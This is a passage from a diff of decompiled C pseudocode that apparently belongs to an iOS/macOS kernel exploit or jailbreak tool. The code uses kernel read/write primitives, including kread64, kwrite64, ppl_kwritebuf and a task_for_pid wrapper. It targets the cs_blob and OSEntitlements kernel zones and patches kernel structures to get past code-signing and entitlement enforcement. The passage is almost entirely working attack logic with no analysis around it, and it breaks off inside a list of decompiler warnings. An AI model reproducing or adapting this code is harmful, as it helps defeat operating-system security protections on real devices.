= v117; + if ( (unsigned int)sub_4062C((struct_krwCtx *)v2, v117) ) + goto LABEL_349; + *(_QWORD *)(v2 + 6584) = v51; + } + if ( (unsigned int)sub_40CBC( + (struct_krwCtx *)v2, + v51, + size, + (__int64 *)name, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0) ) + goto LABEL_349; + bufb = *(_QWORD *)name; + if ( !*(_QWORD *)name ) + goto LABEL_349; + } + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, *((_QWORD *)v3 + 1), size, &v216) ) + goto LABEL_349; + v207 = 0; + __memcpy_chk(); + *(_QWORD *)&v181 = 0x20000000; + *((_QWORD *)&v217 + 1) = 0x20000000; + *(_QWORD *)&v220 = v50; + *(_QWORD *)&v219 = bufSize_4; + v210 = (pthread_t)((char *)v50 + v163); + __memcpy_chk(); + v98 = *(_QWORD *)(v2 + 344); + v99 = 144; + if ( v98 > 0x1C1B19145FFFFFLL ) + v99 = 152; + if ( v98 > 0x1F52FFFFFFFFFFLL ) + v99 = 168; + v100 = *(_QWORD *)((char *)&v216 + v99); + __src[0] = v100; + if ( v100 ) + { + if ( v98 <= 0x1F52FFFFFFFFFFLL ) + { + __src[0] = 0; + memcpy((char *)&v216 + v99, __src, *(int *)(v2 + 360)); + } + else if ( (unsigned int)sub_38FD4(v2, v100) ) + { + goto LABEL_349; + } + } + v209 = *((_QWORD *)&v224 + 1); + if ( *((_QWORD *)&v224 + 1) ) + { + v209 = (unsigned __int64)v50 + *((_QWORD *)&v224 + 1) - *((_QWORD *)v3 + 3); + __memcpy_chk(); + } + if ( *(_QWORD *)(v2 + 344) > 0x1F52FFFFFFFFFFuLL ) + { + v208 = *((_QWORD *)&v225 + 1); + if ( *((_QWORD *)&v225 + 1) ) + { + v208 = (unsigned __int64)v50 + *((_QWORD *)&v225 + 1) - *((_QWORD *)v3 + 3); + __memcpy_chk(); + } + } + if ( size_4 ) + { + *(_QWORD *)name = 0; + v121 = (char *)&v216 + size - *(_DWORD *)(v2 + 360); + __memcpy_chk(); + if ( *(_QWORD *)name && !validate_addr(v2, *(__int64 *)name) ) + goto LABEL_349; + *(_QWORD *)name = 0; + memcpy(v121, name, *(int *)(v2 + 360)); + } + if ( !(unsigned int)kwritebuf_last_1(v2, bufb, (__int64)&v216, size) || !kwrite64(v2, v26, bufb) ) + goto LABEL_349; + goto LABEL_348; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v213, &v213) ) + goto LABEL_349; + v25 = v213; + if ( !v213 ) + goto LABEL_121; + } + } + } + } + goto LABEL_349; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v15 + v192, __src) + || !(unsigned int)sub_31B90((struct_krwCtx *)v2, __src[0], &v188, &v189, &v203) ) + { + goto LABEL_349; + } + v216 = 0x20000000u; + *(_QWORD *)&v217 = 0x40000000; + v35 = v203; + if ( (fcntl(v203, 59, &v216) & 0x80000000) == 0 ) + { + v17 = 0; +LABEL_111: + if ( !(unsigned int)sub_2E5C0((struct_krwCtx *)v2, v3[17], &v202, 1u, (__int64)&v195) ) + goto LABEL_349; + v18 = &v195; + if ( !v13 && v17 ) + { + if ( (*((_BYTE *)v3 + 3) & 4) == 0 ) + { + v48 = *(_QWORD *)(v2 + 344) <= 0x1F530F027FFFFFuLL ? 128LL : 136LL; + if ( !kread64_outptr((struct_krwCtx *)v2, v48 + *((_QWORD *)v3 + 1), (unsigned __int64 *)&v210) + || !kwrite64(v2, v196 + v48, (__int64)v210) ) + { + goto LABEL_349; + } + } + v18 = &v195; + v17 = 1; + } + goto LABEL_33; + } + if ( *__error() != 7 ) + goto LABEL_349; + v46 = *(_QWORD *)(v2 + 344); + if ( v46 <= 0x1F530F027FFFFFLL ) + { + if ( v46 <= 0x1F52FFFFFFFFFFLL ) + { + v47 = 168; + if ( v46 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(v2 + 320) <= 7194 ) + v47 = 168; + else + v47 = 160; + } + } + else + { + v47 = 184; + } + } + else + { + v47 = 172; + } + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, *((_QWORD *)v3 + 1) + v47, 1, &v187) ) + goto LABEL_349; + v169 = v16; + v101 = v187; + if ( !(unsigned int)sub_31FC0((__int64)v3, v212) ) + goto LABEL_349; + if ( !sub_22464(v2, (__int64)v212, 20) ) + goto LABEL_349; + if ( (v101 & 1) == 0 ) + { + name[0] = v187 | 1; + if ( !(unsigned int)sub_32064((struct_krwCtx *)v2, *((_QWORD *)v3 + 4), v47, name, 1) ) + goto LABEL_349; + } + *(_QWORD *)&v216 = 0x20000000; + *((_QWORD *)&v216 + 1) = v205; + *(_QWORD *)&v217 = v204; + v102 = fcntl(v35, 59, &v216); + if ( v102 < 0 ) + { + __error(); + if ( (v101 & 1) != 0 ) + goto LABEL_349; + } + else if ( (v101 & 1) != 0 ) + { +LABEL_348: + v17 = 1; +LABEL_110: + v16 = v169; + goto LABEL_111; + } + v17 = 1; + v118 = sub_32064((struct_krwCtx *)v2, *((_QWORD *)v3 + 4), v47, &v187, 1); + v22 = 5; + if ( !v118 || (v16 = v169, v102 < 0) ) + { +LABEL_350: + if ( v198 != -1 ) + sub_2CB54((__int64)&v195); + goto LABEL_352; + } + goto LABEL_111; + } +LABEL_39: + v12 = 0; + goto LABEL_466; + } + v207 = 0; + v205 = 0; + v193 = -1; + v192 = 0; + v191 = 0; + v187 = 0; + v188 = 0; + v189 = 0; + v171 = 0; + if ( !(unsigned int)sub_31914((__int64)v3, &v207, (size_t *)&v205, &v192, &v191, &v187) ) + goto LABEL_39; + v198 = -1; + if ( !*((_BYTE *)v3 + 96) + && *((_QWORD *)v3 + 5) >> 29 + && (v3[19] != v192 || v3[21] != v191 && !v187 || v3[22] != v187 && *(_QWORD *)(v2 + 344) > 0x1F52FFFFFFFFFFuLL) ) + { + goto LABEL_451; + } + v6 = sub_33E8C((struct_krwCtx *)v2, v3[17]); + if ( !v6 ) + goto LABEL_451; + v7 = v6; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v173, (int *)&v172) ) + goto LABEL_451; + v8 = v7 + v172; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v8, 8, &v202) ) + goto LABEL_451; + v9 = v202; + if ( v202 >= 0x20000000 && !*((_BYTE *)v3 + 96) ) + { + v27 = 0; + goto LABEL_51; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v7 + v173, (unsigned __int64 *)&v190) + || !(unsigned int)sub_31B90((struct_krwCtx *)v2, v190, &v188, &v189, &v193) ) + { + goto LABEL_451; + } + if ( *((_BYTE *)v3 + 96) ) + { + if ( v202 > 0x7FFFFFFFFFLL ) + goto LABEL_451; + if ( v202 >= 0x20000000 ) + v10 = v202 + 0x20000000; + else + v10 = 0x20000000; + } + else + { + v10 = 0x20000000; + } + v170 = v10; + v213 = v10; + v214 = 0; + v215 = 0x40000000; + v31 = v193; + v32 = fcntl(v193, 59, &v213); + if ( (v32 & 0x80000000) == 0 ) + { + if ( *((_BYTE *)v3 + 96) ) + goto LABEL_451; + bufa = v32; + v33 = 0; + goto LABEL_59; + } + bufa = v32; + if ( *__error() != 7 ) + goto LABEL_451; + v36 = *(_QWORD *)(v2 + 344); + if ( v36 <= 0x1F530F027FFFFFLL ) + { + if ( v36 <= 0x1F52FFFFFFFFFFLL ) + { + v37 = 168; + if ( v36 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(v2 + 320) <= 7194 ) + v37 = 168; + else + v37 = 160; + } + } + else + { + v37 = 184; + } + } + else + { + v37 = 172; + } + v164 = v37; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, *((_QWORD *)v3 + 1) + v37, 1, &v171) ) + goto LABEL_451; + v52 = v171 & 1; + if ( v4 <= 0x1F52FFFFFFFFFFLL ) + goto LABEL_142; + bufSize = v171 & 1; + if ( !(unsigned int)sub_31FC0((__int64)v3, v212) || !sub_22464(v2, (__int64)v212, 20) ) + goto LABEL_451; + v52 = bufSize; + if ( bufSize ) + { +LABEL_142: + bufSize_4a = 0; +LABEL_143: + v53 = *(_QWORD *)(v2 + 344); + goto LABEL_144; + } + if ( (*(_DWORD *)v2 & 0x5584001) == 0 || (v53 = *(_QWORD *)(v2 + 344), v53 > 0x1F530F027FFFFFLL) ) + { + LODWORD(v216) = v171 | 1; + bufSize_4a = 1; + v54 = sub_32064((struct_krwCtx *)v2, *((_QWORD *)v3 + 4), v164, &v216, 1); + v52 = 0; + if ( !v54 ) + goto LABEL_451; + goto LABEL_143; + } + bufSize_4a = 0; + v52 = 0; +LABEL_144: + if ( v53 <= 0x1F52FFFFFFFFFFLL ) + { + v55 = 0; + LOBYTE(sizea) = 0; + } + else + { + sizea = *((unsigned __int8 *)v3 + 97); + v55 = sizea != 0; + } + v213 = v170; + v214 = v207; + v215 = (__int64)v205; + if ( v4 > 0x1F52FFFFFFFFFFLL ) + { + v56 = 0; + LODWORD(v208) = v31; + v57 = v3[17]; + v184 = 0; + v183 = 0u; + v182 = 0u; + v181 = 0u; + LOWORD(v204) = 0; + v209 = 0; + v210 = 0; + v177 = 0u; + v178 = 0u; + v175 = 0u; + v176 = 0u; + *(_OWORD *)name = 0u; + if ( v55 ) + v56 = (*(_DWORD *)v2 & 0x5584001) != 0 && v53 < 0x1F530F02800000LL; + if ( v52 ) + { + v52 = 0; + v59 = 0; + v58 = 4097; + } + else + { + v58 = 4097; + if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) + { + v59 = 0; + if ( v53 < 0x1F530F02800000LL ) + { + v147 = v57; + v60 = v56; + v61 = sub_320EC((struct_krwCtx *)v2); + if ( !v61 ) + { + v115 = 163857; + goto LABEL_441; + } + bufSizea = v61; + if ( *(_QWORD *)(v2 + 6584) ) + { + v58 = 4097; + } + else + { + v146 = sub_403E0(v2, "cs_blob zone"); + if ( !v146 ) + { + v115 = 4097; + goto LABEL_441; + } + size_4a = sub_4062C((struct_krwCtx *)v2, v146); + if ( size_4a ) + goto LABEL_442; + v58 = 0; + *(_QWORD *)(v2 + 6584) = v146; + } + v52 = 1; + v56 = v60; + v59 = bufSizea; + v57 = v147; + } + } + else + { + v59 = 0; + } + } + v151 = v56; + bufSized = v59; + v149 = v52; + if ( v56 ) + { + if ( !*(_QWORD *)(v2 + 6576) || !*(_DWORD *)(v2 + 6592) ) + { + v111 = v57; + v112 = sub_403E0(v2, "iokit.OSEntitlements"); + if ( !v112 ) + { + v115 = 708625; + goto LABEL_441; + } + v113 = v112; + size_4a = sub_4062C((struct_krwCtx *)v2, v112); + if ( size_4a ) + goto LABEL_442; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v113 + 54, 2, &v216) ) + { + v115 = 163855; + goto LABEL_441; + } + v114 = (unsigned __int16)v216; + size_4a = 163857; + if ( (unsigned int)(unsigned __int16)v216 - 1 > 0x1FF + || ((*(_DWORD *)(v2 + 360) - 1) & (unsigned __int16)v216) != 0 ) + { + goto LABEL_442; + } + *(_QWORD *)(v2 + 6576) = v113; + *(_DWORD *)(v2 + 6592) = v114; + v57 = v111; + } + if ( !(unsigned int)sub_34D14(v2, v57) ) + { + size_4a = 163865; + goto LABEL_442; + } + size_4a = 163878; + v145 = *(_QWORD *)(v2 + 928); + v104 = *(_QWORD *)(v2 + 912); + if ( !validate_addr(v2, v104) ) + goto LABEL_442; + size_4a = sub_38F38(v2, v104, (__int64)&v204); + if ( size_4a ) + goto LABEL_442; + LOWORD(v204) = sub_38FAC((unsigned __int16)v204); + } + else + { + v145 = 0; + v104 = 0; + if ( !v52 ) + { +LABEL_433: + v136 = fcntl(v208, 59, &v213); + BYTE1(name[0]) = 1; + if ( v136 < 0 ) + { + v138 = *__error(); + v110 = *__error(); + if ( v138 < 0 ) + v110 = -v110; + goto LABEL_440; + } + if ( !v151 + || v58 != 0 + || (size_4a = 163856, !(unsigned int)sub_38F6C(v2, v104, v204)) + && (sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 888), v145), v137) ) + { + size_4a = 0; + } +LABEL_442: + if ( v210 ) + { + pthread_join(v210, 0); + v210 = 0; + } + v33 = sizea; + if ( !(_QWORD)v181 ) + goto LABEL_446; +LABEL_445: + sub_38BCC(v2, (__int64)&v181); + goto LABEL_446; + } + } + v105 = mach_thread_self(); + if ( !sub_2515C(v105) ) + goto LABEL_430; + v106 = mach_thread_self(); + size_4a = sub_37A50((struct_krwCtx *)v2, v106, 1, 1, 1); + if ( size_4a ) + goto LABEL_442; + thread_switch(0, 2, 0xAu); + target_actb = 0; + if ( !v149 ) + { +LABEL_423: + if ( !v151 ) + { +LABEL_426: + if ( v149 ) + { + size_4a = sub_4087C( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6584), + bufSized, + v209, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0); + if ( size_4a ) + goto LABEL_442; + v135 = thread_resume(target_actb); + if ( v135 ) + { + v115 = v135 | 0x80000000; + goto LABEL_441; + } + while ( !LOBYTE(name[0]) ) + ; + } + v58 = 0; + goto LABEL_433; + } + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 888), 0); + if ( v134 ) + { + size_4a = sub_4087C( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6576), + *(unsigned int *)(v2 + 6592), + v104, + (__int64 (__fastcall *)(__int64, __int64))sub_322D8, + (__int64)&v208); + if ( size_4a ) + goto LABEL_442; + goto LABEL_426; + } +LABEL_467: + v115 = 163856; + goto LABEL_441; + } + size_4a = sub_40CBC( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6584), + bufSized, + (__int64 *)&v209, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0); + if ( size_4a ) + goto LABEL_442; + v246 = 0u; + v247 = 0u; + v244 = 0u; + v245 = 0u; + v242 = 0u; + v243 = 0u; + v240 = 0u; + v241 = 0u; + v238 = 0u; + v239 = 0u; + v236 = 0u; + v237 = 0u; + v234 = 0u; + v235 = 0u; + v232 = 0u; + v233 = 0u; + v230 = 0u; + v231 = 0u; + v228 = 0u; + v229 = 0u; + v226 = 0u; + v227 = 0u; + v224 = 0u; + v225 = 0u; + v222 = 0u; + v223 = 0u; + v220 = 0u; + v221 = 0u; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + if ( !(unsigned int)kwritebuf_last_1(v2, v209, (__int64)&v216, bufSized) ) + goto LABEL_467; + sub_2183C(v2, (v209 + 16) & ~*(_QWORD *)(v2 + 392), (__int64)__src); + if ( v107 ) + { + size_4a = sub_38870((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); + if ( size_4a ) + goto LABEL_442; + LOWORD(name[0]) = 0; + *((_QWORD *)&v175 + 1) = v181 + ((v209 + 16) & *(_QWORD *)(v2 + 392)); + v108 = (void *(__cdecl *)(void *))nullsub_1(sub_322A4); + v109 = pthread_create_suspended_np(&v210, 0, v108, name); + if ( v109 ) + { + if ( v109 >= 0 ) + v110 = v109; + else + v110 = -v109; +LABEL_440: + v115 = v110 | 0x40000000; + goto LABEL_441; + } + target_actb = pthread_mach_thread_np(v210); + if ( sub_2515C(target_actb) ) + { + size_4a = sub_37A50((struct_krwCtx *)v2, target_actb, 0, 1, 96); + if ( size_4a ) + goto LABEL_442; + goto LABEL_423; + } +LABEL_430: + v115 = 163896; + goto LABEL_441; + } + v115 = 163878; +LABEL_441: + size_4a = v115; + goto LABEL_442; + } + v62 = *(_QWORD *)(v2 + 568); + v33 = sizea; + if ( !v62 ) + { + bufSizeb = v52; + name[0] = 0; + if ( !krw_task_for_pid(v2, 1, name) ) + { + v64 = 163843; + goto LABEL_254; + } + *(_QWORD *)&v216 = 0; + if ( (unsigned int)sub_2E4E0((struct_krwCtx *)v2, name[0], (unsigned __int64 *)&v216) != 1 + || (v75 = sub_2B94C((struct_krwCtx *)v2, name[0], (__int64 *)&v216, 0, 0)) == 0 ) + { + mach_port_deallocate(mach_task_self_, name[0]); + size_4a = 163843; + v33 = sizea; + goto LABEL_446; + } + v76 = v75; + *(_QWORD *)(v2 + 568) = v75; + mach_port_deallocate(mach_task_self_, name[0]); + v62 = v76; + v33 = sizea; + LOBYTE(v52) = bufSizeb; + } + v210 = 0; + *(_QWORD *)&v177 = 0; + v175 = 0u; + v176 = 0u; + *(_OWORD *)name = 0u; + v184 = 0; + v183 = 0u; + v182 = 0u; + v181 = 0u; + *(_QWORD *)&v220 = 0; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + v63 = *(_DWORD *)(v2 + 320); + if ( v63 != 8019 && v63 != 7195 ) + { + v64 = 163884; + goto LABEL_254; + } + if ( *(_QWORD *)(v2 + 344) > 0x1F52FFFFFFFFFFuLL ) + { + v64 = 708616; +LABEL_254: + size_4a = v64; + goto LABEL_446; + } + v144 = v62; + bufSizec = v52; + v80 = sub_320EC((struct_krwCtx *)v2); + size_4a = 163858; + if ( !v80 ) + goto LABEL_363; + v81 = v80; + if ( *(_QWORD *)(v2 + 344) <= 0x1F52FFFFFFFFFFuLL ) + { + v81 = sub_402CC(v2, v80); + if ( !v81 ) + goto LABEL_363; + } + v82 = 1; + do + { + v83 = v82; + v82 *= 2; + } + while ( ((unsigned int)v83 & v81) == 0 ); + v84 = mach_thread_self(); + v85 = port_name_to_kaddr((struct_krwCtx *)v2, v84); + if ( !v85 ) + { + v119 = 163877; +LABEL_362: + size_4a = v119; + goto LABEL_363; + } + *(_QWORD *)target_act = v85 + 152; + sub_2183C(v2, (v85 + 152) & ~*(_QWORD *)(v2 + 392), (__int64)__src); + if ( !v86 ) + { +LABEL_361: + v119 = 163878; + goto LABEL_362; + } + size_4a = sub_38870((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); + if ( size_4a ) + goto LABEL_363; + v148 = 0; + v150 = 0; + *((_QWORD *)&v220 + 1) = (*(_QWORD *)(v2 + 392) & *(_QWORD *)target_act) + v181; + v140 = v83 - 1; + while ( 1 ) + { + v87 = **((_QWORD **)&v220 + 1); + if ( !validate_addr(v2, **((_QWORD **)&v220 + 1)) || (*(_QWORD *)(v2 + 392) & v87) != 0 ) + { + size_4a = 163878; + v88 = v148; + v89 = v150; + goto LABEL_223; + } + *(_QWORD *)(*((_QWORD *)&v220 + 1) + 8LL) = v87; + *(_QWORD *)target_acta = v87; + if ( v87 != v148 ) + { + if ( *(_QWORD *)name ) + sub_38BCC(v2, (__int64)name); + sub_2183C(v2, v87, (__int64)__src); + if ( !v91 ) + goto LABEL_361; + size_4a = sub_38870((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)name); + if ( size_4a ) + goto LABEL_363; + } + LOWORD(v216) = 0; + *(_QWORD *)&v218 = v87; + *((_QWORD *)&v216 + 1) = *(_QWORD *)name; + *(_QWORD *)&v217 = v144; + BYTE8(v218) = bufSizec; + *(_QWORD *)&v219 = v140; + DWORD2(v219) = *(_DWORD *)(v2 + 576); + v92 = (void *(__cdecl *)(void *))nullsub_1(sub_323C4); + v93 = pthread_create(&v210, 0, v92, &v216); + if ( v93 ) + { + if ( v93 >= 0 ) + v132 = v93; + else + v132 = -v93; + v119 = v132 | 0x40000000; + goto LABEL_362; + } + while ( !(_BYTE)v216 ) + ; + v94 = fcntl(v31, 59, &v213); + BYTE1(v216) = 1; + if ( (v94 & 0x80000000) == 0 ) + break; + v95 = *__error(); + v96 = *__error(); + if ( v95 >= 0 ) + v97 = v96; + else + v97 = -v96; + if ( v150 && !(v150 % 5) ) + sub_2AABC(v2, 0x3E8u); + if ( v150 <= 3 ) + { + v90 = v150 + 1; + v88 = *(_QWORD *)target_acta; + goto LABEL_224; + } + size_4a = v97 | 0x40000000; + *(_DWORD *)(v2 + 576) = 0; + v89 = v150; + v88 = *(_QWORD *)target_acta; +LABEL_223: + v90 = v89 + 1; + if ( v90 == 128 ) + goto LABEL_363; +LABEL_224: + v150 = v90; + v148 = v88; + if ( v210 ) + { + pthread_join(v210, 0); + v210 = 0; + } + } + size_4a = 0; + if ( HIDWORD(v219) ) + *(_DWORD *)(v2 + 576) = HIDWORD(v219); +LABEL_363: + if ( v210 ) + { + pthread_join(v210, 0); + v210 = 0; + } + v33 = sizea; + if ( *(_QWORD *)name ) + sub_38BCC(v2, (__int64)name); + if ( (_QWORD)v181 ) + goto LABEL_445; +LABEL_446: + if ( !bufSize_4a ) + { + if ( size_4a ) + goto LABEL_451; + goto LABEL_59; + } + v120 = 5; + if ( (unsigned int)sub_32064((struct_krwCtx *)v2, *((_QWORD *)v3 + 4), v164, &v171, 1) && !size_4a ) + { +LABEL_59: + v204 = v170; + if ( !(unsigned int)sub_2E5C0((struct_krwCtx *)v2, v3[17], (__int64 *)&v204, 1u, (__int64)&v195) ) + goto LABEL_451; + if ( bufa < 0 ) + { + if ( v195 != *v3 ) + { + v39 = 16; + if ( *(_QWORD *)(v2 + 344) > 0x1F530F027FFFFFuLL ) + v39 = 32; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v39 + v196, v3, 4u) ) + goto LABEL_451; + } + v40 = v3[20]; + if ( (v201 == 0) == (v40 != 0) ) + { + v69 = v33; + v70 = *(_QWORD *)(v2 + 344); + v71 = 128; + if ( v70 > 0x1F530F027FFFFFLL ) + v71 = 136; + bufc = v71; + v72 = sub_2C9B0((__int64)&v195, v199, -86111230); + if ( !v72 ) + goto LABEL_451; + if ( v40 ) + { + if ( bswap32(v72[2]) >> 9 < 0x101 ) + goto LABEL_451; + v73 = v72[12]; + if ( !v73 ) + goto LABEL_451; + v74 = v197 + v200 + bswap32(v73); + } + else + { + v74 = 0; + } + v5 = v70 > 0x1F530F027FFFFFLL; + v33 = v69; + if ( v5 || (*(_DWORD *)v2 & 0x5584001) == 0 || !v74 ) + { + sub_2A63C((struct_krwCtx *)v2, v196 + bufc, v74); + if ( !v103 ) + goto LABEL_451; + } + } + v27 = v33 & 1; + v3 = &v195; + goto LABEL_88; + } + v27 = v33 & 1; + v3 = &v195; + v9 = v170; +LABEL_51: + v28 = v205; + if ( (unsigned __int64)v205 > *((_QWORD *)v3 + 2) ) + goto LABEL_451; + v170 = v9; + v29 = krw_ctx_has_flag((struct_krwCtx *)v2, 85475329); + v30 = *((_QWORD *)v3 + 3); + if ( v29 ) + { + if ( !(unsigned int)ppl_kwritebuf(v2, v30, v207, (int)v28) ) + goto LABEL_451; + } + else if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v30, v207, (mach_vm_size_t)v28) ) + { + goto LABEL_451; + } +LABEL_88: + if ( v202 != v170 ) + { + if ( !(unsigned int)sub_2F898((struct_krwCtx *)v2, v3[17], v202) ) + goto LABEL_451; + v202 = v170; + if ( !(unsigned int)kwritebuf_last_1(v2, v8, (__int64)&v202, 8) ) + goto LABEL_451; + v41 = *(_QWORD *)(v2 + 344); + if ( v41 < 0x1F530000000000LL || ((v27 ^ 1) & 1) != 0 ) + goto LABEL_90; + if ( !(unsigned int)sub_34D14(v2, v3[17]) ) + goto LABEL_451; + v45 = *(_QWORD *)(v2 + 344); + if ( (*(_DWORD *)v2 & 0x5584001) != 0 && v45 <= 0x1F530F027FFFFFLL ) + { + if ( !(unsigned int)sub_2F2C8() ) + goto LABEL_451; + } + else + { + v77 = 168; + if ( v45 > 0x1F530F027FFFFFLL ) + v77 = 160; + if ( !kread64_outptr((struct_krwCtx *)v2, *((_QWORD *)v3 + 1) + v77, (unsigned __int64 *)&v216) ) + goto LABEL_451; + if ( *(_QWORD *)(v2 + 912) != (_QWORD)v216 ) + { + if ( (unsigned int)sub_38FD4(v2, v216) ) + goto LABEL_451; + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 888), v216); + if ( !v78 ) + goto LABEL_451; + if ( *(int *)(v2 + 320) >= 10002 ) + { + v79 = sub_340D8((struct_krwCtx *)v2, v3[17], 0); + if ( !v79 || !(unsigned int)sub_35ECC((struct_krwCtx *)v2, v79, 16) ) + goto LABEL_451; + } + } + } + } + v41 = *(_QWORD *)(v2 + 344); +LABEL_90: + if ( v41 <= 0x1F52FFFFFFFFFFLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) + goto LABEL_335; + v42 = v3[17]; + v43 = *((_QWORD *)v3 + 1); + *(_QWORD *)&v216 = v43; + *(_QWORD *)name = 0; + *(_QWORD *)&v181 = 0; + __src[0] = 0; + if ( v41 <= 0x1F530F027FFFFFLL ) + { + v44 = 192; + } + else if ( *(int *)(v2 + 320) <= 8791 ) + { + v44 = 176; + } + else + { + v44 = 184; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v44 + v43, (unsigned __int64 *)&v181) ) + goto LABEL_451; + if ( !(_QWORD)v181 ) + goto LABEL_451; + if ( !validate_addr(v2, v181) ) + goto LABEL_451; + v65 = sub_349C8((struct_krwCtx *)v2, v42); + if ( !v65 ) + goto LABEL_451; + v66 = v65; + if ( krw_ctx_has_flag((struct_krwCtx *)v2, 32) ) + { + v210 = 0; + if ( !kread64_outptr((struct_krwCtx *)v2, v66 + 176, (unsigned __int64 *)&v210) + || !v210 + || !validate_addr(v2, (__int64)v210) + || !kread64_outptr((struct_krwCtx *)v2, (unsigned __int64)&v210->__opaque[48], (unsigned __int64 *)name) ) + { + goto LABEL_451; + } + v67 = 32; + } + else + { + if ( krw_ctx_has_flag((struct_krwCtx *)v2, 18350080) ) + { + v116 = 144; + } + else + { + if ( !krw_ctx_has_flag((struct_krwCtx *)v2, 16385) ) + goto LABEL_451; + v116 = 136; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v116 + v66, (unsigned __int64 *)name) ) + goto LABEL_451; + v67 = 40; + } + if ( !*(_QWORD *)name + || !validate_addr(v2, *(__int64 *)name) + || !kread64_outptr((struct_krwCtx *)v2, *(_QWORD *)name + v67, __src) + || !__src[0] + || !validate_addr(v2, __src[0]) ) + { + goto LABEL_451; + } + if ( __src[0] == (_QWORD)v181 ) + { +LABEL_335: + v120 = 0; + goto LABEL_452; + } + v211 = 0; + v206 = 0; + v203 = 0; + v209 = 0; + v210 = 0; + newBytes = 0xFFFFFFFFLL; + v208 = 0; + if ( krw_ctx_has_flag((struct_krwCtx *)v2, 32) ) + { + v124 = 20; + goto LABEL_373; + } + v133 = *(_DWORD *)(v2 + 320); + if ( v133 <= 8791 ) + { + v124 = 160; + if ( (unsigned int)(v133 - 8019) >= 2 && v133 != 6153 && v133 != 7195 ) + goto LABEL_451; + goto LABEL_373; + } + if ( v133 == 10002 || v133 == 8796 ) + { + v124 = 496; +LABEL_373: + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v181 + v124, 4, &newBytes) ) + goto LABEL_451; + if ( (unsigned int)newBytes > 0x400 ) + goto LABEL_451; + LODWORD(newBytes) = newBytes + 1; + if ( !(unsigned int)ppl_kwritebuf(v2, v181 + v124, &newBytes, 4) ) + goto LABEL_451; + sub_13D9C((struct_krwCtx *)v2, *(_QWORD *)name + v67, v181); + if ( !v125 ) + goto LABEL_451; + if ( !krw_ctx_has_flag((struct_krwCtx *)v2, 32) ) + { + __src[0] = v181; + v126 = sub_33E8C((struct_krwCtx *)v2, v42); + if ( !v126 ) + goto LABEL_451; + v127 = v126; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v211, (int *)&v206) ) + goto LABEL_451; + if ( !kread64_outptr((struct_krwCtx *)v2, v127 + v211, &v209) ) + goto LABEL_451; + if ( !v209 ) + goto LABEL_451; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v127 + v206, 8, &v210) ) + goto LABEL_451; + if ( !(unsigned int)sub_2BC80(v2, &v203, (_DWORD *)&newBytes + 1) ) + goto LABEL_451; + if ( !kread64_outptr((struct_krwCtx *)v2, v209 + (unsigned int)v203, &v208) ) + goto LABEL_451; + if ( !v208 ) + goto LABEL_451; + if ( !kread64_outptr((struct_krwCtx *)v2, v208 + HIDWORD(newBytes), (unsigned __int64 *)&v216) ) + goto LABEL_451; + v128 = v216; + if ( !(_QWORD)v216 ) + goto LABEL_451; + while ( kread64_outptr((struct_krwCtx *)v2, v128 + v44, (unsigned __int64 *)&v181) + && (_QWORD)v181 + && validate_addr(v2, v181) ) + { + if ( (_QWORD)v181 == __src[0] ) + { + v186 = 0; + if ( *(_QWORD *)(v2 + 344) <= 0x1F52FFFFFFFFFFuLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) + break; + v129 = *(int *)(v2 + 320) <= 8791 ? 80LL : 400LL; + v130 = v129 + v181; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v129 + v181, 1, &v185) + || v185 > 1u + || v185 && !(unsigned int)ppl_kwritebuf(v2, v130, &v186, 1) ) + { + break; + } + } + v131 = kread64_outptr((struct_krwCtx *)v2, v216, (unsigned __int64 *)&v216); + v128 = v216; + if ( !v131 || !(_QWORD)v216 ) + goto LABEL_470; + } + v128 = v216; +LABEL_470: + if ( v128 ) + goto LABEL_451; + } + goto LABEL_335; + } + if ( v133 == 8792 ) + { + v124 = 480; + goto LABEL_373; + } +LABEL_451: + v120 = 5; + } +LABEL_452: + if ( v198 != -1 ) + sub_2CB54((__int64)&v195); + v139 = v193; + if ( v193 != -1 ) + { + if ( v188 && v189 && !kwrite64(v2, v188, v189) ) + v120 = 5; + close(v139); + } + if ( v207 ) + free(v207); + v123 = v120 == 0; +LABEL_463: + v12 = v123; +LABEL_466: + *(_DWORD *)(a1 + 16) = v12; +} +// 30824: variable 'v78' is possibly undefined +// 308F8: variable 'v86' is possibly undefined +// 309E8: variable 'v91' is possibly undefined +// 30D14: variable 'v103' is possibly undefined +// 30EC8: variable 'v107' is possibly undefined +// 31428: variable 'v125' is possibly undefined +// 316C0: variable 